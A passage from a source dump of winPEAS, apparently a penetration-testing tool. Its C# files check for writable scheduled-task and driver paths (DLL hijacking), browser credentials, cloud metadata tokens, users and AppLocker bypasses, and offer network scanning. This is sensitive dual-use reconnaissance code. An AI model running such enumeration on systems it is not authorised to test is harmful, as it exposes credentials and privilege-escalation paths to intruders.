- {app[\"isUnquotedSpaced\"]}\";\n                    }\n\n                    if (!string.IsNullOrEmpty(app[\"interestingFileRights\"]))\n                    {\n                        line += \"\\n    FilePerms: \" + app[\"interestingFileRights\"];\n                    }\n\n                    if (app.ContainsKey(\"sensitiveInfoList\") && !string.IsNullOrEmpty(app[\"sensitiveInfoList\"]))\n                    {\n                        line += \"\\n    Potentially sensitive file content: \" + app[\"sensitiveInfoList\"];\n                    }\n\n                    Beaprint.AnsiPrint(line, colorsA);\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintScheduled()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Scheduled Applications --Non Microsoft--\", \"T1053.005\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.html\", \"Check if you can modify other users scheduled binaries\");\n                List<Dictionary<string, string>> scheduled_apps = ApplicationInfoHelper.GetScheduledAppsNoMicrosoft();\n\n                foreach (Dictionary<string, string> sapp in scheduled_apps)\n                {\n                    List<string> fileRights = PermissionsHelper.GetPermissionsFile(sapp[\"Action\"], Checks.CurrentUserSiDs);\n                    List<string> dirRights = PermissionsHelper.GetPermissionsFolder(sapp[\"Action\"], Checks.CurrentUserSiDs);\n                    string formString = \"    ({0}) {1}: {2}\";\n\n                    if (fileRights.Count > 0)\n                    {\n                        formString += \"\\n    Permissions file: {3}\";\n                    }\n\n                    if (dirRights.Count > 0)\n                    {\n                        formString += \"\\n    Permissions folder(DLL Hijacking): {4}\";\n                    }\n\n                    if (!string.IsNullOrEmpty(sapp[\"Trigger\"]))\n                    {\n                        formString += \"\\n    Trigger: {5}\";\n                    }\n\n                    if (string.IsNullOrEmpty(sapp[\"Description\"]))\n                    {\n                        formString += \"\\n    {6}\";\n                    }\n\n                    Dictionary<string, string> colorsS = new Dictionary<string, string>()\n                    {\n                        { \"Permissions.*\", Beaprint.ansi_color_bad },\n                        { sapp[\"Action\"].Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\",\"\\\\+\"), (fileRights.Count > 0 || dirRights.Count > 0) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good },\n                    };\n                    Beaprint.AnsiPrint(string.Format(formString, sapp[\"Author\"], sapp[\"Name\"], sapp[\"Action\"], string.Join(\", \", fileRights), string.Join(\", \", dirRights), sapp[\"Trigger\"], sapp[\"Description\"]), colorsS);\n                    Beaprint.PrintLineSeparator();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n\n        void PrintDeviceDrivers()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Device Drivers --Non Microsoft--\", \"T1014\");\n                // this link is not very specific, but its the best on hacktricks\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#drivers\", \"Check 3rd party drivers for known vulnerabilities/rootkits.\");\n\n                foreach (var driver in DeviceDrivers.GetDeviceDriversNoMicrosoft())\n                {\n                    string pathDriver = driver.Key;\n                    List<string> fileRights = PermissionsHelper.GetPermissionsFile(pathDriver, Checks.CurrentUserSiDs);\n                    List<string> dirRights = PermissionsHelper.GetPermissionsFolder(pathDriver, Checks.CurrentUserSiDs);\n\n                    Dictionary<string, string> colorsD = new Dictionary<string, string>()\n                        {\n                            { \"Permissions.*\", Beaprint.ansi_color_bad },\n                            { \"Capcom.sys\", Beaprint.ansi_color_bad },\n                            { pathDriver.Replace(\"\\\\\", \"\\\\\\\\\").Replace(\"(\", \"\\\\(\").Replace(\")\", \"\\\\)\").Replace(\"]\", \"\\\\]\").Replace(\"[\", \"\\\\[\").Replace(\"?\", \"\\\\?\").Replace(\"+\",\"\\\\+\"), (fileRights.Count > 0 || dirRights.Count > 0) ? Beaprint.ansi_color_bad : Beaprint.ansi_color_good },\n                        };\n\n\n                    string formString = \"    {0} - {1} [{2}]: {3}\";\n                    if (fileRights.Count > 0)\n                    {\n                        formString += \"\\n    Permissions file: {4}\";\n                    }\n\n                    if (dirRights.Count > 0)\n                    {\n                        formString += \"\\n    Permissions folder(DLL Hijacking): {5}\";\n                    }\n\n                    Beaprint.AnsiPrint(string.Format(formString, driver.Value.ProductName, driver.Value.ProductVersion, driver.Value.CompanyName, pathDriver, string.Join(\", \", fileRights), string.Join(\", \", dirRights)), colorsD);\n\n                    //If vuln, end with separator\n                    if ((fileRights.Count > 0) || (dirRights.Count > 0))\n                    {\n                        Beaprint.PrintLineSeparator();\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/BrowserInfo.cs",
    "content": "﻿using System.Collections.Generic;\nusing winPEAS.Helpers;\nusing winPEAS.KnownFileCreds.Browsers;\nusing winPEAS.KnownFileCreds.Browsers.Brave;\nusing winPEAS.KnownFileCreds.Browsers.Chrome;\nusing winPEAS.KnownFileCreds.Browsers.Firefox;\nusing winPEAS.KnownFileCreds.Browsers.Opera;\n\nnamespace winPEAS.Checks\n{\n    internal class BrowserInfo : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1217\", \"T1539\", \"T1555.003\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Browsers Information\", \"T1217,T1539,T1555.003\");\n\n            new List<IBrowser>\n            {\n                new Firefox(),\n                new Chrome(),\n                new Opera(),\n                new Brave(),\n                new InternetExplorer(),\n            }.ForEach(browser => CheckRunner.Run(browser.PrintInfo, isDebug));\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/Checks.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Management;\nusing System.Net;\nusing System.Security.Principal;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.AppLocker;\nusing winPEAS.Helpers.Registry;\nusing winPEAS.Helpers.Search;\nusing winPEAS.Helpers.YamlConfig;\nusing winPEAS.Info.UserInfo;\n\nnamespace winPEAS.Checks\n{\n    public static class Checks\n    {\n        public static bool IsDomainEnumeration = false;\n        public static bool IsNoColor = false;\n        public static bool DontCheckHostname = false;\n        public static bool Banner = true;\n        public static bool IsDebug = false;\n        public static bool IsLinpeas = false;\n        public static bool IsLolbas = false;\n        public static bool IsNetworkScan = false;\n        public static bool SearchProgramFiles = false;\n\n        public static IEnumerable<int> PortScannerPorts = null;\n        public static string NetworkScanOptions = string.Empty;\n\n        // Create Dynamic blacklists\n        public static readonly string CurrentUserName = Environment.UserName;\n        public static string CurrentUserDomainName = Environment.UserDomainName;\n        public static string CurrentAdDomainName = \"\";\n        public static bool IsPartOfDomain = false;\n        public static bool IsCurrentUserLocal = true;\n        public static ManagementObjectCollection Win32Users = null;\n        public static Dictionary<string, string> CurrentUserSiDs = new Dictionary<string, string>();\n        static string _paintActiveUsers = \"\";\n        public static string PaintActiveUsersNoAdministrator = \"\";\n        public static string PaintDisabledUsers = \"\";\n        public static string PaintDisabledUsersNoAdministrator = \"\";\n        public static bool IsLongPath = false;\n        public static bool WarningIsLongPath = false;\n        public static int MaxRegexFileSize = 1000000;\n        //static string paint_lockoutUsers = \"\";\n        public static string PaintAdminUsers = \"\";\n        public static YamlConfig YamlConfig;\n        public static YamlRegexConfig RegexesYamlConfig;\n\n        private static List<SystemCheck> _systemChecks;\n        private static readonly HashSet<string> _systemCheckSelectedKeysHashSet = new HashSet<string>();\n\n        /// <summary>MITRE ATT&amp;CK technique IDs to filter checks (empty = run all).</summary>\n        public static readonly HashSet<string> MitreFilter = new HashSet<string>(StringComparer.OrdinalIgnoreCase);\n\n        // github url for Linpeas.sh\n        public static string LinpeasUrl = \"https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh\";\n\n        public const string DefaultLogFile = \"out.txt\";\n\n\n        class SystemCheck\n        {\n            public string Key { get; }\n            public ISystemCheck Check { get; }\n\n            public SystemCheck(string key, ISystemCheck check)\n            {\n                this.Key = key;\n                this.Check = check;\n            }\n        }\n\n        internal static void Run(string[] args)\n        {\n            //Check parameters\n            bool isAllChecks = true;\n            bool isFileSearchEnabled = false;\n            bool wait = false;\n            FileStream fileStream = null;\n            StreamWriter fileWriter = null;\n            TextWriter oldOut = Console.Out;\n\n            _systemChecks = new List<SystemCheck>\n            {\n                new SystemCheck(\"systeminfo\", new SystemInfo()),\n                new SystemCheck(\"eventsinfo\", new EventsInfo()),\n                new SystemCheck(\"userinfo\", new UserInfo()),\n                new SystemCheck(\"processinfo\", new ProcessInfo()),\n                new SystemCheck(\"servicesinfo\", new ServicesInfo()),\n                new SystemCheck(\"soapclientinfo\", new SoapClientInfo()),\n                new SystemCheck(\"applicationsinfo\", new ApplicationsInfo()),\n                new SystemCheck(\"networkinfo\", new NetworkInfo()),\n                new SystemCheck(\"networkscan\", new NetworkScanCheck()),\n                new SystemCheck(\"activedirectoryinfo\", new ActiveDirectoryInfo()),\n                new SystemCheck(\"cloudinfo\", new CloudInfo()),\n                new SystemCheck(\"windowscreds\", new WindowsCreds()),\n                new SystemCheck(\"registryinfo\", new RegistryInfo()),\n                new SystemCheck(\"browserinfo\", new BrowserInfo()),\n                new SystemCheck(\"filesinfo\", new FilesInfo()),\n                new SystemCheck(\"fileanalysis\", new FileAnalysis()),\n            };\n\n            var systemCheckAllKeys = new HashSet<string>(_systemChecks.Select(i => i.Key));\n            var print_fileanalysis_warn = true;\n\n            for (int argIdx = 0; argIdx < args.Length; argIdx++)\n            {\n                // Normalise space-separated flags like \"-network 10.0.0.0/24\" → \"-network=10.0.0.0/24\"\n                // and \"-ports 80,443\" → \"-ports=80,443\" so the rest of the parser only has one case.\n                string arg = args[argIdx];\n                if ((arg.Equals(\"-network\", StringComparison.OrdinalIgnoreCase) ||\n                     arg.Equals(\"-ports\",   StringComparison.OrdinalIgnoreCase)) &&\n                    !arg.Contains('=') &&\n                    argIdx + 1 < args.Length)\n                {\n                    arg = arg + \"=\" + args[++argIdx];\n                }\n                if (string.Equals(arg, \"--help\", StringComparison.CurrentCultureIgnoreCase) ||\n                    string.Equals(arg, \"help\", StringComparison.CurrentCultureIgnoreCase) ||\n                    string.Equals(arg, \"/h\", StringComparison.CurrentCultureIgnoreCase) ||\n                    string.Equals(arg, \"-h\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    Beaprint.PrintUsage();\n                    return;\n                }\n\n                if (string.Equals(arg, \"fileanalysis\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    print_fileanalysis_warn = false;\n                    isFileSearchEnabled = true;\n                }\n\n                if (string.Equals(arg, \"filesinfo\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    isFileSearchEnabled = true;\n                }\n\n                if (string.Equals(arg, \"all\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    print_fileanalysis_warn = false;\n                }\n\n                if (arg.StartsWith(\"log\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    // get logfile argument if present\n                    string logFile = DefaultLogFile;\n                    var parts = arg.Split('=');\n                    if (parts.Length == 2)\n                    {\n                        logFile = parts[1];\n\n                        if (string.IsNullOrWhiteSpace(logFile))\n                        {\n                            Beaprint.PrintException(\"Please specify a valid log file.\");\n                            return;\n                        }\n                    }\n\n                    try\n                    {\n                        fileStream = new FileStream(logFile, FileMode.OpenOrCreate, FileAccess.Write);\n                        fileWriter = new StreamWriter(fileStream);\n                    }\n                    catch (Exception ex)\n                    {\n                        Beaprint.PrintException($\"Cannot open \\\"{logFile}\\\" for writing:\\n {ex.Message}\");\n                        return;\n                    }\n\n                    Beaprint.ColorPrint($\"\\\"log\\\" argument present, redirecting output to file \\\"{logFile}\\\"\", Beaprint.ansi_color_good);\n                    Console.SetOut(fileWriter);\n                }\n\n                if (string.Equals(arg, \"notcolor\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    IsNoColor = true;\n                }\n\n                if (string.Equals(arg, \"dont-check-hostname\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    DontCheckHostname = true;\n                }\n\n                if (string.Equals(arg, \"quiet\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    Banner = false;\n                }\n\n                if (string.Equals(arg, \"wait\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    wait = true;\n                }\n\n                if (string.Equals(arg, \"debug\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    IsDebug = true;\n                }\n\n                if (string.Equals(arg, \"domain\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    IsDomainEnumeration = true;\n                }\n\n                if (string.Equals(arg, \"searchpf\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    SearchProgramFiles = true;\n                }\n\n                if (arg.StartsWith(\"max-regex-file-size=\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    var parts = arg.Split('=');\n                    if (parts.Length >= 2 && !string.IsNullOrEmpty(parts[1]))\n                    {\n                        MaxRegexFileSize = Int32.Parse(parts[1]);\n                    }\n\n                }\n\n                if (string.Equals(arg, \"-lolbas\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    IsLolbas = true;\n                }\n\n                if (arg.StartsWith(\"mitre=\", StringComparison.OrdinalIgnoreCase))\n                {\n                    var mitreList = arg.Substring(\"mitre=\".Length);\n                    foreach (var t in mitreList.Split(','))\n                    {\n                        var trimmed = t.Trim();\n                        if (!string.IsNullOrEmpty(trimmed))\n                            MitreFilter.Add(trimmed);\n                    }\n                }\n\n                if (arg.StartsWith(\"-linpeas\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    IsLinpeas = true;\n\n                    var parts = arg.Split('=');\n                    if (parts.Length >= 2 && !string.IsNullOrEmpty(parts[1]))\n                    {\n                        LinpeasUrl = parts[1];\n\n                        var isReachable = MyUtils.IsUrlReachable(LinpeasUrl);\n\n                        if (!isReachable)\n                        {\n                            Beaprint.ColorPrint($\" [!] the provided linpeas.sh url: '{LinpeasUrl}' is invalid / unreachable / returned empty response.\", Beaprint.YELLOW);\n\n                            return;\n                        }\n                    }\n                }\n\n                if (arg.StartsWith(\"-network\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    /*\n                       -network=\"auto\"                          -    find interfaces/hosts automatically\n                       -network=\"10.10.10.10,10.10.10.20\"       -    scan only selected ip address(es)\n                       -network=\"10.10.10.10/24\"                -    scan host based on ip address/netmask\n                     */\n                    if (!IsNetworkTypeValid(arg))\n                    {\n                        Beaprint.ColorPrint($\" [!] the \\\"-network\\\" argument is invalid. For help, run winpeass.exe --help\", Beaprint.YELLOW);\n\n                        return;\n                    }\n\n                    var parts = arg.Split('=');\n                    string networkType = parts[1];\n\n                    IsNetworkScan = true;\n                    NetworkScanOptions = networkType;\n                }\n\n                if (arg.StartsWith(\"-ports\", StringComparison.CurrentCultureIgnoreCase))\n                {\n                    // e.g. -ports=\"80,443,8080\"\n                    var parts = arg.Split('=');\n                    if (!IsNetworkScan || parts.Length != 2 || string.IsNullOrEmpty(parts[1]))\n                    {\n                        Beaprint.ColorPrint($\" [!] the \\\"-network\\\" argument is not present or valid, add it if you want to define network scan ports. For help, run winpeass.exe --help\", Beaprint.YELLOW);\n\n                        return;\n                    }\n\n                    var portString = parts[1];\n                    IEnumerable<int> ports = new List<int>();\n                    try\n                    {\n                        PortScannerPorts = portString.Trim('\"').Trim('\\'').Split(',').ToList().ConvertAll<int>(int.Parse);\n                    }\n                    catch (Exception)\n                    {\n                        Beaprint.ColorPrint($\" [!] the \\\"-ports\\\" argument is not present or valid, add it if you want to define network scan ports. For help, run winpeass.exe --help\", Beaprint.YELLOW);\n\n                        return;\n                    }\n                }\n\n                string argToLower = arg.ToLower();\n                if (systemCheckAllKeys.Contains(argToLower))\n                {\n                    _systemCheckSelectedKeysHashSet.Add(argToLower);\n                    isAllChecks = false;\n                }\n            }\n\n            if (print_fileanalysis_warn){\n                _systemChecks.RemoveAt(_systemChecks.Count - 1);\n                Beaprint.ColorPrint(\" [!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help\", Beaprint.YELLOW);\n            }\n\n            // When -network is passed alongside a subset of checks, inject the dedicated\n            // 'networkscan' check so only the scan runs, not all NetworkInfo sub-checks.\n            if (IsNetworkScan && !isAllChecks)\n            {\n                _systemCheckSelectedKeysHashSet.Add(\"networkscan\");\n            }\n\n            if (isAllChecks)\n            {\n                isFileSearchEnabled = true;\n            }\n\n            try\n            {\n                CheckRunner.Run(() =>\n                {\n                    //Start execution\n                    if (IsNoColor)\n                    {\n                        Beaprint.DeleteColors();\n                    }\n                    else\n                    {\n                        CheckRegANSI();\n                    }\n\n                    CheckLongPath();\n\n                    Beaprint.PrintInit();\n\n                    CheckRunner.Run(() => CreateDynamicLists(isFileSearchEnabled), IsDebug);\n\n                    RunChecks(isAllChecks, wait);\n\n                    SearchHelper.CleanLists();\n\n                    Beaprint.PrintMarketingBanner();\n                }, IsDebug, \"Total time\");\n\n                if (IsDebug)\n                {\n                    MemoryHelper.DisplayMemoryStats();\n                }\n            }\n            finally\n            {\n                Console.SetOut(oldOut);\n\n                fileWriter?.Close();\n                fileStream?.Close();\n            }\n        }\n\n        private static bool IsNetworkTypeValid(string arg)\n        {\n            var parts = arg.Split('=');\n            string networkType = string.Empty;  \n\n            if (parts.Length == 2 && !string.IsNullOrEmpty(parts[1]))\n            {\n                networkType = parts[1];\n\n                // auto\n                if (string.Equals(networkType, \"auto\", StringComparison.InvariantCultureIgnoreCase))\n                {\n                    return true;\n                }\n\n                // netmask  e.g. 10.10.10.10/24\n                else if (networkType.Contains(\"/\"))\n                {\n                    var rangeParts = networkType.Split('/');\n\n                    if (rangeParts.Length == 2 && IPAddress.TryParse(rangeParts[0], out _) && int.TryParse(rangeParts[1], out int res) && res <= 32 && res >= 0)\n                    {\n                        return true;\n                    }\n                }\n                // list of ip addresses\n                else if (networkType.Contains(\",\"))\n                {\n                    var ips = networkType.Split(',');\n\n                    try\n                    {\n                        var validIpsCount = ips.ToList().ConvertAll<IPAddress>(IPAddress.Parse).Count();\n                    }\n                    catch (Exception)\n                    {\n                        return false;\n                    }\n\n                    return true;\n                }\n                // single ip\n                else if (IPAddress.TryParse(networkType, out _))\n                {\n                    return true;\n                }\n            }\n\n            return false;\n        }\n\n        private static bool PassesMitreFilter(ISystemCheck check)\n        {\n            if (MitreFilter.Count == 0) return true;\n            // No MITRE metadata declared → pass through (don't silently exclude untagged checks).\n            if (check.MitreAttackIds == null || check.MitreAttackIds.Length == 0) return true;\n            foreach (var id in check.MitreAttackIds)\n            {\n                if (MitreFilter.Contains(id)) return true;\n                // Also match on just the base technique (e.g. filter \"T1552\" matches \"T1552.001\")\n                var dot = id.IndexOf('.');\n                if (dot > 0 && MitreFilter.Contains(id.Substring(0, dot))) return true;\n            }\n            return false;\n        }\n\n        private static void RunChecks(bool isAllChecks, bool wait)\n        {\n            // Pre-compute how many checks will actually execute so we can prompt between\n            // each one and skip the prompt after the very last executed check.\n            int totalToRun = _systemChecks.Count(sc =>\n                (_systemCheckSelectedKeysHashSet.Contains(sc.Key) || isAllChecks) &&\n                PassesMitreFilter(sc.Check));\n\n            int runCount = 0;\n            for (int i = 0; i < _systemChecks.Count; i++)\n            {\n                var systemCheck = _systemChecks[i];\n\n                bool selectedByKey = _systemCheckSelectedKeysHashSet.Contains(systemCheck.Key) || isAllChecks;\n                bool selectedByMitre = PassesMitreFilter(systemCheck.Check);\n\n                if (selectedByKey && selectedByMitre)\n                {\n                    systemCheck.Check.PrintInfo(IsDebug);\n                    runCount++;\n\n                    if (wait && runCount < totalToRun)\n                    {\n                        WaitInput();\n                    }\n                }\n            }\n        }\n\n        private static void CreateDynamicLists(bool isFileSearchEnabled)\n        {\n            Beaprint.GrayPrint(\"   Creating Dynamic lists, this could take a while, please wait...\");\n\n            try\n            {\n                Beaprint.GrayPrint(\"   - Loading sensitive_files yaml definitions file...\");\n                YamlConfig = YamlConfigHelper.GetWindowsSearchConfig();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while getting sensitive_files yaml info: \" + ex);\n            }\n\n            try\n            {\n                Beaprint.GrayPrint(\"   - Loading regexes yaml definitions file...\");\n                RegexesYamlConfig = YamlConfigHelper.GetRegexesSearchConfig();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while getting regexes yaml info: \" + ex);\n            }\n\n            try\n            {\n                Beaprint.GrayPrint(\"   - Checking if domain...\");\n                CurrentAdDomainName = DomainHelper.IsDomainJoined();\n                IsPartOfDomain = !string.IsNullOrEmpty(CurrentAdDomainName);\n                IsCurrentUserLocal = CurrentAdDomainName != CurrentUserDomainName;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while getting AD info: \" + ex);\n            }\n\n            try\n            {\n                Beaprint.GrayPrint(\"   - Getting Win32_UserAccount info...\");\n\n                // by default only enumerate local users\n                SelectQuery query = new SelectQuery(\"Win32_UserAccount\", \"LocalAccount=true\");\n                if (IsDomainEnumeration)\n                {\n                    // include also domain users\n                    query = new SelectQuery(\"Win32_UserAccount\");\n                }\n\n                using (var searcher = new ManagementObjectSearcher(query))\n                {\n                    Win32Users = searcher.Get();\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while getting Win32_UserAccount info: \" + ex);\n            }\n\n            try\n            {\n                Beaprint.GrayPrint(\"   - Creating current user groups list...\");\n                WindowsIdentity identity = WindowsIdentity.GetCurrent();\n                CurrentUserSiDs[identity.User.ToString()] = Environment.UserName;\n                IdentityReferenceCollection currentSIDs = identity.Groups;\n                foreach (IdentityReference group in identity.Groups)\n                {\n                    string gName = \"\";\n                    try\n                    {\n                        gName = UserInfoHelper.SID2GroupName(group.ToString());\n                    }\n                    catch (Exception ex)\n                    {\n                        Beaprint.GrayPrint(\"Error obtaining current SIDs: \" + ex);\n                    }\n                    CurrentUserSiDs[group.ToString()] = gName;\n                }\n\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while creating current user groups list: \" + ex);\n            }\n\n            try\n            {\n                var domainString = IsDomainEnumeration ? \"(local + domain)\" : \"(local only)\";\n                Beaprint.GrayPrint($\"   - Creating active users list {domainString}...\");\n                _paintActiveUsers = string.Join(\"|\", User.GetMachineUsers(true, false, false, false, false));\n                PaintActiveUsersNoAdministrator = _paintActiveUsers.Replace(\"|Administrator\", \"\").Replace(\"Administrator|\", \"\").Replace(\"Administrator\", \"\");\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while creating active users list: \" + ex);\n            }\n\n            try\n            {\n                Beaprint.GrayPrint(\"   - Creating disabled users list...\");\n                PaintDisabledUsers = string.Join(\"|\", User.GetMachineUsers(false, true, false, false, false));\n                PaintDisabledUsersNoAdministrator = PaintDisabledUsers.Replace(\"|Administrator\", \"\").Replace(\"Administrator|\", \"\").Replace(\"Administrator\", \"\");\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while creating disabled users list: \" + ex);\n            }\n\n            //paint_lockoutUsers = string.Join(\"|\", UserInfo.GetMachineUsers(false, false, true, false, false));\n\n            try\n            {\n                Beaprint.GrayPrint(\"   - Admin users list...\");\n                PaintAdminUsers = string.Join(\"|\", User.GetMachineUsers(false, false, false, true, false));\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while creating admin users groups list: \" + ex);\n            }\n\n            //create AppLocker lists\n            try\n            {\n                Beaprint.GrayPrint(\"   - Creating AppLocker bypass list...\");\n                AppLockerHelper.CreateLists();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while creating AppLocker bypass list: \" + ex);\n            }\n\n            //create the file lists\n            // only if we are running all checks or systeminfo / fileanalysis\n            Beaprint.GrayPrint(\"   - Creating files/directories list for search...\");\n            if (isFileSearchEnabled)\n            {\n                try\n                {\n                    SearchHelper.CreateSearchDirectoriesList();\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.GrayPrint(\"Error while creating directory list: \" + ex);\n                }\n            }\n            else\n            {\n                Beaprint.GrayPrint(\"        [skipped, file search is disabled]\");\n            }\n        }\n\n        private static void CheckRegANSI()\n        {\n            try\n            {\n                if (RegistryHelper.GetRegValue(\"HKCU\", \"CONSOLE\", \"VirtualTerminalLevel\") == \"\" && RegistryHelper.GetRegValue(\"HKCU\", \"CONSOLE\", \"VirtualTerminalLevel\") == \"\")\n                    Console.WriteLine(@\"ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD\");\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while checking ansi color registry: \" + ex);\n            }\n        }\n\n        private static void CheckLongPath()\n        {\n            try\n            {\n                if (RegistryHelper.GetRegValue(\"HKLM\", @\"SYSTEM\\CurrentControlSet\\Control\\FileSystem\", \"LongPathsEnabled\") != \"1\")\n                {\n                    Console.WriteLine(@\"Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD\");\n                    IsLongPath = false;\n                }\n                else\n                    IsLongPath = true;\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(\"Error while checking LongPathsEnabled registry: \" + ex);\n            }\n        }\n\n        private static void WaitInput()\n        {\n            Console.Write(\"\\n -- Press a key to continue... \");\n            Console.ReadLine();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/CloudInfo.cs",
    "content": "﻿using System.Collections.Generic;\nusing winPEAS.Helpers;\nusing winPEAS.Info.CloudInfo;\n\nnamespace winPEAS.Checks\n{\n    internal class CloudInfo : ISystemCheck\n    {\n        public string[] MitreAttackIds { get; } = new[] { \"T1552.005\", \"T1580\" };\n\n        public void PrintInfo(bool isDebug)\n        {\n            Beaprint.GreatPrint(\"Cloud Information\", \"T1552.005,T1580\");\n\n            Dictionary<string, string> colorsTraining = new Dictionary<string, string>()\n                {\n                    { \"training.hacktricks.xyz\", Beaprint.ansi_color_good },\n                    { \"Learn & practice cloud hacking in\", Beaprint.ansi_color_yellow },\n                };\n            Beaprint.AnsiPrint(\"Learn and practice cloud hacking in training.hacktricks.xyz\", colorsTraining);\n\n            var cloudInfoList = new List<CloudInfoBase>\n            {\n               new AWSInfo(),\n               new AzureInfo(),\n               new AzureTokensInfo(),\n               new GCPInfo(),\n               new GCPJoinedInfo(),\n               new GCDSInfo(),\n               new GPSInfo(),\n            };\n\n            foreach (var cloudInfo in cloudInfoList)\n            {\n                string isCloud = cloudInfo.IsCloud ? \"Yes\" : \"No\";\n                string line = string.Format($\"{cloudInfo.Name + \"?\",-40}{isCloud,-5}\");\n\n                Dictionary<string, string> colorsMS = new Dictionary<string, string>()\n                {\n                    { \"Yes\", Beaprint.ansi_color_bad },\n                };\n                Beaprint.AnsiPrint(line, colorsMS);\n            }\n\n            foreach (var cloudInfo in cloudInfoList)\n            {                \n                if (cloudInfo.IsCloud)\n                {\n                    Beaprint.MainPrint(cloudInfo.Name + \" Enumeration\", \"T1552.005,T1580\");\n\n                    if (cloudInfo.IsAvailable)\n                    {\n                        foreach (var kvp in cloudInfo.EndpointDataList())\n                        {\n                            // key = \"section\", e.g. User, Network, ...\n                            string section = kvp.Key;\n                            var endpointDataList = kvp.Value;\n\n                            Beaprint.ColorPrint(section, Beaprint.ansi_color_good);\n\n                            foreach (var endpointData in endpointDataList)\n                            {\n                                string msgcolor = Beaprint.NOCOLOR;\n\n                                string message;\n                                if (!string.IsNullOrEmpty(endpointData.Data))\n                                {\n                                    message = endpointData.Data;\n                                    // if it is a JSON data, add additional newline so it's displayed on a separate line\n                                    if (message.StartsWith(\"{\") || message.StartsWith(\"[\"))\n                                    {\n                                        message = $\"\\n{message}\\n\";\n                                    }\n\n                                    if (endpointData.IsAttackVector)\n                                    {\n                                        msgcolor = Beaprint.ansi_color_bad;\n                                    }\n                                }\n                                else\n                                {\n                                    message = \"No data received from the metadata endpoint\";\n                                    msgcolor = Beaprint.ansi_color_gray;\n                                }\n\n                                Beaprint.ColorPrint($\"{endpointData.EndpointName,-30}\", Beaprint.ansi_users_active);\n                                Beaprint.ColorPrint(message, msgcolor);\n                            }\n\n                            Beaprint.GrayPrint(\"\");\n                        }\n                    }\n                    else\n                    {\n                        Beaprint.NoColorPrint(\"Could not connect to the metadata endpoint\");\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Checks/EventsInfo.cs",
